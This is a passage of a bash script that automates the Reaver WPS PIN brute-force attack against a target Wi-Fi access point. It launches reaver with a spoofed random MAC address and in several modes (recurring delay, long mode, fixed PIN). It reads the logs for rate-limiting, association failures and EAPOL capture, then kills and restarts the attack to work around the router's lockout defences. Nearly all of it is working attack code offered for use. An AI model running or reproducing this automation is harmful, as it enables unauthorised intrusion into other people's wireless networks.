if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R28 == n || $USE_R28 == N ]] && [[ $USE_LONG28 == y || $USE_LONG28 == Y ]] && [[ $USE_PIN28 == n || $USE_PIN28 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME28"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL28"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP28"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE28 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME28-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL28 -b $TARGETAP28 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME28-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE28-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R28 == y || $USE_R28 == Y ]] && [[ $USE_LONG28 == y || $USE_LONG28 == Y ]] && [[ $USE_PIN28 == n || $USE_PIN28 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME28"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL28"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP28"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX28" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY28"
echo -e "$info Reaver live time                   = $yel$LIVE28 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME28-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL28 -b $TARGETAP28 -r $RX28:$RY28 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME28-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE28-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R28 == n || $USE_R28 == N ]] && [[ $USE_LONG28 == n || $USE_LONG28 == N ]] && [[ $USE_PIN28 == y || $USE_PIN28 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME28"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL28"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP28"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE28 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME28-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL28 -b $TARGETAP28 -vv -x 60  --pin=$WPS_PIN28 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME28-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE28-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R28 == y || $USE_R28 == Y ]] && [[ $USE_LONG28 == n || $USE_LONG28 == N ]] && [[ $USE_PIN28 == y || $USE_PIN28 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME28"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL28"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP28"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX28" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY28"
echo -e "$info Reaver live time                   = $yel$LIVE28 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME28-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL28 -b $TARGETAP28 -vv -x 60 -r $RX28:$RY28 --pin=$WPS_PIN28 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME28-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE28-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME28-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME28-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME28-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP28 (ESSID: $NMEWARN28)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME28-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R28 == n || $USE_R28 == N ]] && [[ $USE_LONG28 == y || $USE_LONG28 == Y ]] && [[ $USE_PIN28 == y || $USE_PIN28 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME28"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL28"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP28"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE28 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
